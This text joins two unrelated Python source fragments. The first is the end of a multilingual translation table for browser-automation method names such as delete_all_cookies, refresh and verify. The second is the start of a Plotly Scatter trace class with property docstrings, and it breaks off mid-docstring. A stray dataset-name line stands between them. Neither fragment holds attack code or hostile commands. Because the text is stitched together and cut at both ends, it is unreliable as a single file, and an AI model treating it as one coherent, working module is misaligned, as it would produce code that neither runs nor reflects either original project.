md["drag_and_drop"][8] = "перетащить_и_падение" md["drag_and_drop"][9] = "arrastrar_y_soltar" md["load_html_file"] = ["*"] * num_langs md["load_html_file"][0] = "load_html_file" md["load_html_file"][1] = "加载HTML文件" md["load_html_file"][2] = "html_bestand_laden" md["load_html_file"][3] = "charger_html_fichier" md["load_html_file"][4] = "caricare_html_file" md["load_html_file"][5] = "HTMLファイルを読み込む" md["load_html_file"][6] = "HTML_파일_로드" md["load_html_file"][7] = "carregar_arquivo_html" md["load_html_file"][8] = "загрузить_HTML_файл" md["load_html_file"][9] = "cargar_archivo_html" md["open_html_file"] = ["*"] * num_langs md["open_html_file"][0] = "open_html_file" md["open_html_file"][1] = "打开HTML文件" md["open_html_file"][2] = "html_bestand_openen" md["open_html_file"][3] = "ouvrir_html_fichier" md["open_html_file"][4] = "apri_html_file" md["open_html_file"][5] = "HTMLファイルを開く" md["open_html_file"][6] = "HTML_파일_열기" md["open_html_file"][7] = "abrir_arquivo_html" md["open_html_file"][8] = "открыть_HTML_файл" md["open_html_file"][9] = "abrir_archivo_html" md["delete_all_cookies"] = ["*"] * num_langs md["delete_all_cookies"][0] = "delete_all_cookies" md["delete_all_cookies"][1] = "删除所有COOKIE" md["delete_all_cookies"][2] = "alle_cookies_verwijderen" md["delete_all_cookies"][3] = "supprimer_tous_les_cookies" md["delete_all_cookies"][4] = "elimina_tutti_i_cookie" md["delete_all_cookies"][5] = "すべてのクッキーを削除する" md["delete_all_cookies"][6] = "모든_쿠키_삭제" md["delete_all_cookies"][7] = "excluir_todos_os_cookies" md["delete_all_cookies"][8] = "удалить_все_куки" md["delete_all_cookies"][9] = "eliminar_todas_las_cookies" md["get_user_agent"] = ["*"] * num_langs md["get_user_agent"][0] = "get_user_agent" md["get_user_agent"][1] = "获取用户代理" md["get_user_agent"][2] = "gebruikersagent_ophalen" md["get_user_agent"][3] = "obtenir_agent_utilisateur" md["get_user_agent"][4] = "ottenere_agente_utente" md["get_user_agent"][5] = "ユーザーエージェントの取得" md["get_user_agent"][6] = "사용자_에이전트_가져_오기" md["get_user_agent"][7] = "obter_agente_do_usuário" md["get_user_agent"][8] = "получить_агента_пользователя" md["get_user_agent"][9] = "obtener_agente_de_usuario" md["get_locale_code"] = ["*"] * num_langs md["get_locale_code"][0] = "get_locale_code" md["get_locale_code"][1] = "获取语言代码" md["get_locale_code"][2] = "taalcode_ophalen" md["get_locale_code"][3] = "obtenir_code_de_langue" md["get_locale_code"][4] = "ottenere_codice_lingua" md["get_locale_code"][5] = "言語コードを取得する" md["get_locale_code"][6] = "언어_코드를_얻을" md["get_locale_code"][7] = "obter_código_de_idioma" md["get_locale_code"][8] = "получить_код_языка" md["get_locale_code"][9] = "obtener_código_de_idioma" ################ # Duplicates # "input" -> duplicate of "type" md["input"] = ["*"] * num_langs md["input"][0] = "input" md["input"][1] = "输入文本" md["input"][2] = "typ" md["input"][3] = "taper" md["input"][4] = "digitare" md["input"][5] = "入力" md["input"][6] = "입력" md["input"][7] = "tipo" md["input"][8] = "введите" md["input"][9] = "escriba" # "goto" -> duplicate of "visit" md["goto"] = ["*"] * num_langs md["goto"][0] = "goto" md["goto"][1] = "访问" md["goto"][2] = "bezoek" md["goto"][3] = "visiter" md["goto"][4] = "visita" md["goto"][5] = "を訪問" md["goto"][6] = "방문" md["goto"][7] = "visitar" md["goto"][8] = "посетить" md["goto"][9] = "visita" # "go_to" -> duplicate of "visit" md["go_to"] = ["*"] * num_langs md["go_to"][0] = "go_to" md["go_to"][1] = "访问" md["go_to"][2] = "bezoek" md["go_to"][3] = "visiter" md["go_to"][4] = "visita" md["go_to"][5] = "を訪問" md["go_to"][6] = "방문" md["go_to"][7] = "visitar" md["go_to"][8] = "посетить" md["go_to"][9] = "visita" # "refresh" -> duplicate of "refresh_page" md["refresh"] = ["*"] * num_langs md["refresh"][0] = "refresh" md["refresh"][1] = "刷新页面" md["refresh"][2] = "ververs_pagina" md["refresh"][3] = "rafraîchir_la_page" md["refresh"][4] = "aggiorna_la_pagina" md["refresh"][5] = "ページを更新する" md["refresh"][6] = "페이지_새로_고침" md["refresh"][7] = "atualizar_a_página" md["refresh"][8] = "обновить_страницу" md["refresh"][9] = "actualizar_la_página" # "reload" -> duplicate of "refresh_page" md["reload"] = ["*"] * num_langs md["reload"][0] = "reload" md["reload"][1] = "刷新页面" md["reload"][2] = "ververs_pagina" md["reload"][3] = "rafraîchir_la_page" md["reload"][4] = "aggiorna_la_pagina" md["reload"][5] = "ページを更新する" md["reload"][6] = "페이지_새로_고침" md["reload"][7] = "atualizar_a_página" md["reload"][8] = "обновить_страницу" md["reload"][9] = "actualizar_la_página" # "reload_page" -> duplicate of "refresh_page" md["reload_page"] = ["*"] * num_langs md["reload_page"][0] = "reload_page" md["reload_page"][1] = "刷新页面" md["reload_page"][2] = "ververs_pagina" md["reload_page"][3] = "rafraîchir_la_page" md["reload_page"][4] = "aggiorna_la_pagina" md["reload_page"][5] = "ページを更新する" md["reload_page"][6] = "페이지_새로_고침" md["reload_page"][7] = "atualizar_a_página" md["reload_page"][8] = "обновить_страницу" md["reload_page"][9] = "actualizar_la_página" # "get_page_title" -> duplicate of "get_title" md["get_page_title"] = ["*"] * num_langs md["get_page_title"][0] = "get_page_title" md["get_page_title"][1] = "获取标题" md["get_page_title"][2] = "titel_ophalen" md["get_page_title"][3] = "obtenir_le_titre" md["get_page_title"][4] = "ottenere_il_titolo" md["get_page_title"][5] = "タイトルを取得する" md["get_page_title"][6] = "제목_검색" md["get_page_title"][7] = "obter_título" md["get_page_title"][8] = "получить_название" md["get_page_title"][9] = "obtener_título" # "click_link" -> duplicate of "click_link_text" md["click_link"] = ["*"] * num_langs md["click_link"][0] = "click_link" md["click_link"][1] = "单击链接文本" md["click_link"][2] = "klik_linktekst" md["click_link"][3] = "cliquer_texte_du_lien" md["click_link"][4] = "clic_testo_del_collegamento" md["click_link"][5] = "リンクテキストをクリックします" md["click_link"][6] = "링크_텍스트를_클릭합니다" md["click_link"][7] = "clique_texto_do_link" md["click_link"][8] = "нажмите_ссылку" md["click_link"][9] = "clic_texto_del_enlace" # "send_keys" -> duplicate of "add_text" md["send_keys"] = ["*"] * num_langs md["send_keys"][0] = "send_keys" md["send_keys"][1] = "添加文本" md["send_keys"][2] = "tekst_toevoegen" md["send_keys"][3] = "ajouter_texte" md["send_keys"][4] = "aggiungi_testo" md["send_keys"][5] = "テキストを追加" md["send_keys"][6] = "텍스트를_추가" md["send_keys"][7] = "adicionar_texto" md["send_keys"][8] = "добавить_текст" md["send_keys"][9] = "agregar_texto" # "set_attribute_all" -> duplicate of "set_attributes" md["set_attribute_all"] = ["*"] * num_langs md["set_attribute_all"][0] = "set_attribute_all" md["set_attribute_all"][1] = "设置所有属性" md["set_attribute_all"][2] = "kenmerken_instellen" md["set_attribute_all"][3] = "définir_attributs" md["set_attribute_all"][4] = "impostare_gli_attributi" md["set_attribute_all"][5] = "すべての属性を設定" md["set_attribute_all"][6] = "모든_특성_설정" md["set_attribute_all"][7] = "definir_atributos" md["set_attribute_all"][8] = "набор_атрибутов" md["set_attribute_all"][9] = "establecer_atributos" # "is_checked" -> duplicate of "is_selected" md["is_checked"] = ["*"] * num_langs md["is_checked"][0] = "is_checked" md["is_checked"][1] = "是否被选中" md["is_checked"][2] = "is_het_geselecteerd" md["is_checked"][3] = "est_il_sélectionné" md["is_checked"][4] = "è_selezionato" md["is_checked"][5] = "選択されていることを" md["is_checked"][6] = "선택되어_있는지" md["is_checked"][7] = "é_selecionado" md["is_checked"][8] = "выбран" md["is_checked"][9] = "está_seleccionado" # "wait_for_text_visible" -> duplicate of "wait_for_text" md["wait_for_text_visible"] = ["*"] * num_langs md["wait_for_text_visible"][0] = "wait_for_text_visible" md["wait_for_text_visible"][1] = "等待文本" md["wait_for_text_visible"][2] = "wachten_op_tekst" md["wait_for_text_visible"][3] = "attendre_le_texte" md["wait_for_text_visible"][4] = "attendere_il_testo" md["wait_for_text_visible"][5] = "テキストを待つ" md["wait_for_text_visible"][6] = "텍스트가_나타날_때까지_기다립니다" md["wait_for_text_visible"][7] = "aguardar_o_texto" md["wait_for_text_visible"][8] = "ждать_текста" md["wait_for_text_visible"][9] = "espera_el_texto" # "assert_text_visible" -> duplicate of "assert_text" md["assert_text_visible"] = ["*"] * num_langs md["assert_text_visible"][0] = "assert_text_visible" md["assert_text_visible"][1] = "断言文本" md["assert_text_visible"][2] = "controleren_tekst" md["assert_text_visible"][3] = "vérifier_texte" md["assert_text_visible"][4] = "verificare_testo" md["assert_text_visible"][5] = "テキストを確認する" md["assert_text_visible"][6] = "텍스트_확인" md["assert_text_visible"][7] = "verificar_texto" md["assert_text_visible"][8] = "подтвердить_текст" md["assert_text_visible"][9] = "verificar_texto" # "assert_no_broken_links" -> duplicate of "assert_no_404_errors" md["assert_no_broken_links"] = ["*"] * num_langs md["assert_no_broken_links"][0] = "assert_no_broken_links" md["assert_no_broken_links"][1] = "检查断开的链接" md["assert_no_broken_links"][2] = "controleren_op_gebroken_links" md["assert_no_broken_links"][3] = "vérifier_les_liens_rompus" md["assert_no_broken_links"][4] = "verificare_i_collegamenti" md["assert_no_broken_links"][5] = "リンク切れを確認する" md["assert_no_broken_links"][6] = "끊어진_링크_확인" md["assert_no_broken_links"][7] = "verificar_se_há_links_quebrados" md["assert_no_broken_links"][8] = "проверить_ошибки_404" md["assert_no_broken_links"][9] = "verificar_si_hay_enlaces_rotos" # "block_ads" -> duplicate of "ad_block" md["block_ads"] = ["*"] * num_langs md["block_ads"][0] = "block_ads" md["block_ads"][1] = "阻止广告" md["block_ads"][2] = "blokkeer_advertenties" md["block_ads"][3] = "annonces_de_bloc" md["block_ads"][4] = "bloccare_gli_annunci" md["block_ads"][5] = "ブロック広告" md["block_ads"][6] = "광고_차단" md["block_ads"][7] = "bloquear_anúncios" md["block_ads"][8] = "блокировать_рекламу" md["block_ads"][9] = "bloquear_anuncios" # "start_tour" -> duplicate of "play_tour" md["start_tour"] = ["*"] * num_langs md["start_tour"][0] = "start_tour" md["start_tour"][1] = "播放游览" md["start_tour"][2] = "speel_de_tour" md["start_tour"][3] = "jouer_la_visite" md["start_tour"][4] = "riprodurre_il_tour" md["start_tour"][5] = "ツアーを再生する" md["start_tour"][6] = "가이드_투어를하다" md["start_tour"][7] = "jogar_o_tour" md["start_tour"][8] = "играть_тур" md["start_tour"][9] = "reproducir_la_gira" # "wait_for_and_accept_alert" -> duplicate of "accept_alert" md["wait_for_and_accept_alert"] = ["*"] * num_langs md["wait_for_and_accept_alert"][0] = "wait_for_and_accept_alert" md["wait_for_and_accept_alert"][1] = "接受警报" md["wait_for_and_accept_alert"][2] = "waarschuwing_accepteren" md["wait_for_and_accept_alert"][3] = "accepter_alerte" md["wait_for_and_accept_alert"][4] = "accetta_avviso" md["wait_for_and_accept_alert"][5] = "アラートを受け入れる" md["wait_for_and_accept_alert"][6] = "경고를_수락" md["wait_for_and_accept_alert"][7] = "aceitar_alerta" md["wait_for_and_accept_alert"][8] = "принять_оповещение" md["wait_for_and_accept_alert"][9] = "aceptar_alerta" # "wait_for_and_dismiss_alert" -> duplicate of "dismiss_alert" md["wait_for_and_dismiss_alert"] = ["*"] * num_langs md["wait_for_and_dismiss_alert"][0] = "wait_for_and_dismiss_alert" md["wait_for_and_dismiss_alert"][1] = "解除警报" md["wait_for_and_dismiss_alert"][2] = "waarschuwing_wegsturen" md["wait_for_and_dismiss_alert"][3] = "rejeter_alerte" md["wait_for_and_dismiss_alert"][4] = "elimina_avviso" md["wait_for_and_dismiss_alert"][5] = "アラートを却下" md["wait_for_and_dismiss_alert"][6] = "경고를_거부" md["wait_for_and_dismiss_alert"][7] = "demitir_alerta" md["wait_for_and_dismiss_alert"][8] = "увольнять_оповещение" md["wait_for_and_dismiss_alert"][9] = "descartar_alerta" # "wait_for_and_switch_to_alert" -> duplicate of "switch_to_alert" md["wait_for_and_switch_to_alert"] = ["*"] * num_langs md["wait_for_and_switch_to_alert"][0] = "wait_for_and_switch_to_alert" md["wait_for_and_switch_to_alert"][1] = "切换到警报" md["wait_for_and_switch_to_alert"][2] = "overschakelen_naar_waarschuwing" md["wait_for_and_switch_to_alert"][3] = "passer_à_alerte" md["wait_for_and_switch_to_alert"][4] = "passa_al_avviso" md["wait_for_and_switch_to_alert"][5] = "アラートに切り替え" md["wait_for_and_switch_to_alert"][6] = "경고로_전환" md["wait_for_and_switch_to_alert"][7] = "mudar_para_alerta" md["wait_for_and_switch_to_alert"][8] = "переключиться_на_оповещение" md["wait_for_and_switch_to_alert"][9] = "cambiar_a_alerta" ################ # MasterQA Only! md["verify"] = ["*"] * num_langs md["verify"][0] = "verify" md["verify"][1] = "校验" md["verify"][2] = "controleren" md["verify"][3] = "vérifier" md["verify"][4] = "verificare" md["verify"][5] = "を確認する" md["verify"][6] = "확인" md["verify"][7] = "verificar" md["verify"][8] = "подтвердить" md["verify"][9] = "verificar"
codeparrot/github-code-clean
from plotly.basedatatypes import BaseTraceType as _BaseTraceType import copy as _copy class Scatter(_BaseTraceType): # class properties # -------------------- _parent_path_str = "" _path_str = "scatter" _valid_props = { "cliponaxis", "connectgaps", "customdata", "customdatasrc", "dx", "dy", "error_x", "error_y", "fill", "fillcolor", "groupnorm", "hoverinfo", "hoverinfosrc", "hoverlabel", "hoveron", "hovertemplate", "hovertemplatesrc", "hovertext", "hovertextsrc", "ids", "idssrc", "legendgroup", "line", "marker", "meta", "metasrc", "mode", "name", "opacity", "orientation", "r", "rsrc", "selected", "selectedpoints", "showlegend", "stackgaps", "stackgroup", "stream", "t", "text", "textfont", "textposition", "textpositionsrc", "textsrc", "texttemplate", "texttemplatesrc", "tsrc", "type", "uid", "uirevision", "unselected", "visible", "x", "x0", "xaxis", "xcalendar", "xsrc", "y", "y0", "yaxis", "ycalendar", "ysrc", } # cliponaxis # ---------- @property def cliponaxis(self): """ Determines whether or not markers and text nodes are clipped about the subplot axes. To show markers and text nodes above axis lines and tick labels, make sure to set `xaxis.layer` and `yaxis.layer` to *below traces*. The 'cliponaxis' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["cliponaxis"] @cliponaxis.setter def cliponaxis(self, val): self["cliponaxis"] = val # connectgaps # ----------- @property def connectgaps(self): """ Determines whether or not gaps (i.e. {nan} or missing values) in the provided data arrays are connected. The 'connectgaps' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["connectgaps"] @connectgaps.setter def connectgaps(self, val): self["connectgaps"] = val # customdata # ---------- @property def customdata(self): """ Assigns extra data each datum. This may be useful when listening to hover, click and selection events. Note that, "scatter" traces also appends customdata items in the markers DOM elements The 'customdata' property is an array that may be specified as a tuple, list, numpy array, or pandas Series Returns ------- numpy.ndarray """ return self["customdata"] @customdata.setter def customdata(self, val): self["customdata"] = val # customdatasrc # ------------- @property def customdatasrc(self): """ Sets the source reference on Chart Studio Cloud for customdata . The 'customdatasrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["customdatasrc"] @customdatasrc.setter def customdatasrc(self, val): self["customdatasrc"] = val # dx # -- @property def dx(self): """ Sets the x coordinate step. See `x0` for more info. The 'dx' property is a number and may be specified as: - An int or float Returns ------- int|float """ return self["dx"] @dx.setter def dx(self, val): self["dx"] = val # dy # -- @property def dy(self): """ Sets the y coordinate step. See `y0` for more info. The 'dy' property is a number and may be specified as: - An int or float Returns ------- int|float """ return self["dy"] @dy.setter def dy(self, val): self["dy"] = val # error_x # ------- @property def error_x(self): """ The 'error_x' property is an instance of ErrorX that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.ErrorX` - A dict of string/value properties that will be passed to the ErrorX constructor Supported dict properties: array Sets the data corresponding the length of each error bar. Values are plotted relative to the underlying data. arrayminus Sets the data corresponding the length of each error bar in the bottom (left) direction for vertical (horizontal) bars Values are plotted relative to the underlying data. arrayminussrc Sets the source reference on Chart Studio Cloud for arrayminus . arraysrc Sets the source reference on Chart Studio Cloud for array . color Sets the stoke color of the error bars. copy_ystyle symmetric Determines whether or not the error bars have the same length in both direction (top/bottom for vertical bars, left/right for horizontal bars. thickness Sets the thickness (in px) of the error bars. traceref tracerefminus type Determines the rule used to generate the error bars. If *constant`, the bar lengths are of a constant value. Set this constant in `value`. If "percent", the bar lengths correspond to a percentage of underlying data. Set this percentage in `value`. If "sqrt", the bar lengths correspond to the sqaure of the underlying data. If "data", the bar lengths are set with data set `array`. value Sets the value of either the percentage (if `type` is set to "percent") or the constant (if `type` is set to "constant") corresponding to the lengths of the error bars. valueminus Sets the value of either the percentage (if `type` is set to "percent") or the constant (if `type` is set to "constant") corresponding to the lengths of the error bars in the bottom (left) direction for vertical (horizontal) bars visible Determines whether or not this set of error bars is visible. width Sets the width (in px) of the cross-bar at both ends of the error bars. Returns ------- plotly.graph_objs.scatter.ErrorX """ return self["error_x"] @error_x.setter def error_x(self, val): self["error_x"] = val # error_y # ------- @property def error_y(self): """ The 'error_y' property is an instance of ErrorY that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.ErrorY` - A dict of string/value properties that will be passed to the ErrorY constructor Supported dict properties: array Sets the data corresponding the length of each error bar. Values are plotted relative to the underlying data. arrayminus Sets the data corresponding the length of each error bar in the bottom (left) direction for vertical (horizontal) bars Values are plotted relative to the underlying data. arrayminussrc Sets the source reference on Chart Studio Cloud for arrayminus . arraysrc Sets the source reference on Chart Studio Cloud for array . color Sets the stoke color of the error bars. symmetric Determines whether or not the error bars have the same length in both direction (top/bottom for vertical bars, left/right for horizontal bars. thickness Sets the thickness (in px) of the error bars. traceref tracerefminus type Determines the rule used to generate the error bars. If *constant`, the bar lengths are of a constant value. Set this constant in `value`. If "percent", the bar lengths correspond to a percentage of underlying data. Set this percentage in `value`. If "sqrt", the bar lengths correspond to the sqaure of the underlying data. If "data", the bar lengths are set with data set `array`. value Sets the value of either the percentage (if `type` is set to "percent") or the constant (if `type` is set to "constant") corresponding to the lengths of the error bars. valueminus Sets the value of either the percentage (if `type` is set to "percent") or the constant (if `type` is set to "constant") corresponding to the lengths of the error bars in the bottom (left) direction for vertical (horizontal) bars visible Determines whether or not this set of error bars is visible. width Sets the width (in px) of the cross-bar at both ends of the error bars. Returns ------- plotly.graph_objs.scatter.ErrorY """ return self["error_y"] @error_y.setter def error_y(self, val): self["error_y"] = val # fill # ---- @property def fill(self): """ Sets the area to fill with a solid color. Defaults to "none" unless this trace is stacked, then it gets "tonexty" ("tonextx") if `orientation` is "v" ("h") Use with `fillcolor` if not "none". "tozerox" and "tozeroy" fill to x=0 and y=0 respectively. "tonextx" and "tonexty" fill between the endpoints of this trace and the endpoints of the trace before it, connecting those endpoints with straight lines (to make a stacked area graph); if there is no trace before it, they behave like "tozerox" and "tozeroy". "toself" connects the endpoints of the trace (or each segment of the trace if it has gaps) into a closed shape. "tonext" fills the space between two traces if one completely encloses the other (eg consecutive contour lines), and behaves like "toself" if there is no trace before it. "tonext" should not be used if one trace does not enclose the other. Traces in a `stackgroup` will only fill to (or be filled to) other traces in the same group. With multiple `stackgroup`s or some traces stacked and some not, if fill- linked traces are not already consecutive, the later ones will be pushed down in the drawing order. The 'fill' property is an enumeration that may be specified as: - One of the following enumeration values: ['none', 'tozeroy', 'tozerox', 'tonexty', 'tonextx', 'toself', 'tonext'] Returns ------- Any """ return self["fill"] @fill.setter def fill(self, val): self["fill"] = val # fillcolor # --------- @property def fillcolor(self): """ Sets the fill color. Defaults to a half-transparent variant of the line color, marker color, or marker line color, whichever is available. The 'fillcolor' property is a color and may be specified as: - A hex string (e.g. '#ff0000') - An rgb/rgba string (e.g. 'rgb(255,0,0)') - An hsl/hsla string (e.g. 'hsl(0,100%,50%)') - An hsv/hsva string (e.g. 'hsv(0,100%,100%)') - A named CSS color: aliceblue, antiquewhite, aqua, aquamarine, azure, beige, bisque, black, blanchedalmond, blue, blueviolet, brown, burlywood, cadetblue, chartreuse, chocolate, coral, cornflowerblue, cornsilk, crimson, cyan, darkblue, darkcyan, darkgoldenrod, darkgray, darkgrey, darkgreen, darkkhaki, darkmagenta, darkolivegreen, darkorange, darkorchid, darkred, darksalmon, darkseagreen, darkslateblue, darkslategray, darkslategrey, darkturquoise, darkviolet, deeppink, deepskyblue, dimgray, dimgrey, dodgerblue, firebrick, floralwhite, forestgreen, fuchsia, gainsboro, ghostwhite, gold, goldenrod, gray, grey, green, greenyellow, honeydew, hotpink, indianred, indigo, ivory, khaki, lavender, lavenderblush, lawngreen, lemonchiffon, lightblue, lightcoral, lightcyan, lightgoldenrodyellow, lightgray, lightgrey, lightgreen, lightpink, lightsalmon, lightseagreen, lightskyblue, lightslategray, lightslategrey, lightsteelblue, lightyellow, lime, limegreen, linen, magenta, maroon, mediumaquamarine, mediumblue, mediumorchid, mediumpurple, mediumseagreen, mediumslateblue, mediumspringgreen, mediumturquoise, mediumvioletred, midnightblue, mintcream, mistyrose, moccasin, navajowhite, navy, oldlace, olive, olivedrab, orange, orangered, orchid, palegoldenrod, palegreen, paleturquoise, palevioletred, papayawhip, peachpuff, peru, pink, plum, powderblue, purple, red, rosybrown, royalblue, rebeccapurple, saddlebrown, salmon, sandybrown, seagreen, seashell, sienna, silver, skyblue, slateblue, slategray, slategrey, snow, springgreen, steelblue, tan, teal, thistle, tomato, turquoise, violet, wheat, white, whitesmoke, yellow, yellowgreen Returns ------- str """ return self["fillcolor"] @fillcolor.setter def fillcolor(self, val): self["fillcolor"] = val # groupnorm # --------- @property def groupnorm(self): """ Only relevant when `stackgroup` is used, and only the first `groupnorm` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Sets the normalization for the sum of this `stackgroup`. With "fraction", the value of each trace at each location is divided by the sum of all trace values at that location. "percent" is the same but multiplied by 100 to show percentages. If there are multiple subplots, or multiple `stackgroup`s on one subplot, each will be normalized within its own set. The 'groupnorm' property is an enumeration that may be specified as: - One of the following enumeration values: ['', 'fraction', 'percent'] Returns ------- Any """ return self["groupnorm"] @groupnorm.setter def groupnorm(self, val): self["groupnorm"] = val # hoverinfo # --------- @property def hoverinfo(self): """ Determines which trace information appear on hover. If `none` or `skip` are set, no information is displayed upon hovering. But, if `none` is set, click and hover events are still fired. The 'hoverinfo' property is a flaglist and may be specified as a string containing: - Any combination of ['x', 'y', 'z', 'text', 'name'] joined with '+' characters (e.g. 'x+y') OR exactly one of ['all', 'none', 'skip'] (e.g. 'skip') - A list or array of the above Returns ------- Any|numpy.ndarray """ return self["hoverinfo"] @hoverinfo.setter def hoverinfo(self, val): self["hoverinfo"] = val # hoverinfosrc # ------------ @property def hoverinfosrc(self): """ Sets the source reference on Chart Studio Cloud for hoverinfo . The 'hoverinfosrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["hoverinfosrc"] @hoverinfosrc.setter def hoverinfosrc(self, val): self["hoverinfosrc"] = val # hoverlabel # ---------- @property def hoverlabel(self): """ The 'hoverlabel' property is an instance of Hoverlabel that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.Hoverlabel` - A dict of string/value properties that will be passed to the Hoverlabel constructor Supported dict properties: align Sets the horizontal alignment of the text content within hover label box. Has an effect only if the hover label text spans more two or more lines alignsrc Sets the source reference on Chart Studio Cloud for align . bgcolor Sets the background color of the hover labels for this trace bgcolorsrc Sets the source reference on Chart Studio Cloud for bgcolor . bordercolor Sets the border color of the hover labels for this trace. bordercolorsrc Sets the source reference on Chart Studio Cloud for bordercolor . font Sets the font used in hover labels. namelength Sets the default length (in number of characters) of the trace name in the hover labels for all traces. -1 shows the whole name regardless of length. 0-3 shows the first 0-3 characters, and an integer >3 will show the whole name if it is less than that many characters, but if it is longer, will truncate to `namelength - 3` characters and add an ellipsis. namelengthsrc Sets the source reference on Chart Studio Cloud for namelength . Returns ------- plotly.graph_objs.scatter.Hoverlabel """ return self["hoverlabel"] @hoverlabel.setter def hoverlabel(self, val): self["hoverlabel"] = val # hoveron # ------- @property def hoveron(self): """ Do the hover effects highlight individual points (markers or line points) or do they highlight filled regions? If the fill is "toself" or "tonext" and there are no markers or text, then the default is "fills", otherwise it is "points". The 'hoveron' property is a flaglist and may be specified as a string containing: - Any combination of ['points', 'fills'] joined with '+' characters (e.g. 'points+fills') Returns ------- Any """ return self["hoveron"] @hoveron.setter def hoveron(self, val): self["hoveron"] = val # hovertemplate # ------------- @property def hovertemplate(self): """ Template string used for rendering the information that appear on hover box. Note that this will override `hoverinfo`. Variables are inserted using %{variable}, for example "y: %{y}". Numbers are formatted using d3-format's syntax %{variable:d3-format}, for example "Price: %{y:$.2f}". https://github.com/d3/d3-3.x-api- reference/blob/master/Formatting.md#d3_format for details on the formatting syntax. Dates are formatted using d3-time- format's syntax %{variable|d3-time-format}, for example "Day: %{2019-01-01|%A}". https://github.com/d3/d3-3.x-api- reference/blob/master/Time-Formatting.md#format for details on the date formatting syntax. The variables available in `hovertemplate` are the ones emitted as event data described at this link https://plotly.com/javascript/plotlyjs-events/#event- data. Additionally, every attributes that can be specified per- point (the ones that are `arrayOk: true`) are available. Anything contained in tag `<extra>` is displayed in the secondary box, for example "<extra>{fullData.name}</extra>". To hide the secondary box completely, use an empty tag `<extra></extra>`. The 'hovertemplate' property is a string and must be specified as: - A string - A number that will be converted to a string - A tuple, list, or one-dimensional numpy array of the above Returns ------- str|numpy.ndarray """ return self["hovertemplate"] @hovertemplate.setter def hovertemplate(self, val): self["hovertemplate"] = val # hovertemplatesrc # ---------------- @property def hovertemplatesrc(self): """ Sets the source reference on Chart Studio Cloud for hovertemplate . The 'hovertemplatesrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["hovertemplatesrc"] @hovertemplatesrc.setter def hovertemplatesrc(self, val): self["hovertemplatesrc"] = val # hovertext # --------- @property def hovertext(self): """ Sets hover text elements associated with each (x,y) pair. If a single string, the same string appears over all the data points. If an array of string, the items are mapped in order to the this trace's (x,y) coordinates. To be seen, trace `hoverinfo` must contain a "text" flag. The 'hovertext' property is a string and must be specified as: - A string - A number that will be converted to a string - A tuple, list, or one-dimensional numpy array of the above Returns ------- str|numpy.ndarray """ return self["hovertext"] @hovertext.setter def hovertext(self, val): self["hovertext"] = val # hovertextsrc # ------------ @property def hovertextsrc(self): """ Sets the source reference on Chart Studio Cloud for hovertext . The 'hovertextsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["hovertextsrc"] @hovertextsrc.setter def hovertextsrc(self, val): self["hovertextsrc"] = val # ids # --- @property def ids(self): """ Assigns id labels to each datum. These ids for object constancy of data points during animation. Should be an array of strings, not numbers or any other type. The 'ids' property is an array that may be specified as a tuple, list, numpy array, or pandas Series Returns ------- numpy.ndarray """ return self["ids"] @ids.setter def ids(self, val): self["ids"] = val # idssrc # ------ @property def idssrc(self): """ Sets the source reference on Chart Studio Cloud for ids . The 'idssrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["idssrc"] @idssrc.setter def idssrc(self, val): self["idssrc"] = val # legendgroup # ----------- @property def legendgroup(self): """ Sets the legend group for this trace. Traces part of the same legend group hide/show at the same time when toggling legend items. The 'legendgroup' property is a string and must be specified as: - A string - A number that will be converted to a string Returns ------- str """ return self["legendgroup"] @legendgroup.setter def legendgroup(self, val): self["legendgroup"] = val # line # ---- @property def line(self): """ The 'line' property is an instance of Line that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.Line` - A dict of string/value properties that will be passed to the Line constructor Supported dict properties: color Sets the line color. dash Sets the dash style of lines. Set to a dash type string ("solid", "dot", "dash", "longdash", "dashdot", or "longdashdot") or a dash length list in px (eg "5px,10px,2px,2px"). shape Determines the line shape. With "spline" the lines are drawn using spline interpolation. The other available values correspond to step-wise line shapes. simplify Simplifies lines by removing nearly-collinear points. When transitioning lines, it may be desirable to disable this so that the number of points along the resulting SVG path is unaffected. smoothing Has an effect only if `shape` is set to "spline" Sets the amount of smoothing. 0 corresponds to no smoothing (equivalent to a "linear" shape). width Sets the line width (in px). Returns ------- plotly.graph_objs.scatter.Line """ return self["line"] @line.setter def line(self, val): self["line"] = val # marker # ------ @property def marker(self): """ The 'marker' property is an instance of Marker that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.Marker` - A dict of string/value properties that will be passed to the Marker constructor Supported dict properties: autocolorscale Determines whether the colorscale is a default palette (`autocolorscale: true`) or the palette determined by `marker.colorscale`. Has an effect only if in `marker.color`is set to a numerical array. In case `colorscale` is unspecified or `autocolorscale` is true, the default palette will be chosen according to whether numbers in the `color` array are all positive, all negative or mixed. cauto Determines whether or not the color domain is computed with respect to the input data (here in `marker.color`) or the bounds set in `marker.cmin` and `marker.cmax` Has an effect only if in `marker.color`is set to a numerical array. Defaults to `false` when `marker.cmin` and `marker.cmax` are set by the user. cmax Sets the upper bound of the color domain. Has an effect only if in `marker.color`is set to a numerical array. Value should have the same units as in `marker.color` and if set, `marker.cmin` must be set as well. cmid Sets the mid-point of the color domain by scaling `marker.cmin` and/or `marker.cmax` to be equidistant to this point. Has an effect only if in `marker.color`is set to a numerical array. Value should have the same units as in `marker.color`. Has no effect when `marker.cauto` is `false`. cmin Sets the lower bound of the color domain. Has an effect only if in `marker.color`is set to a numerical array. Value should have the same units as in `marker.color` and if set, `marker.cmax` must be set as well. color Sets themarkercolor. It accepts either a specific color or an array of numbers that are mapped to the colorscale relative to the max and min values of the array or relative to `marker.cmin` and `marker.cmax` if set. coloraxis Sets a reference to a shared color axis. References to these shared color axes are "coloraxis", "coloraxis2", "coloraxis3", etc. Settings for these shared color axes are set in the layout, under `layout.coloraxis`, `layout.coloraxis2`, etc. Note that multiple color scales can be linked to the same color axis. colorbar :class:`plotly.graph_objects.scatter.marker.Col orBar` instance or dict with compatible properties colorscale Sets the colorscale. Has an effect only if in 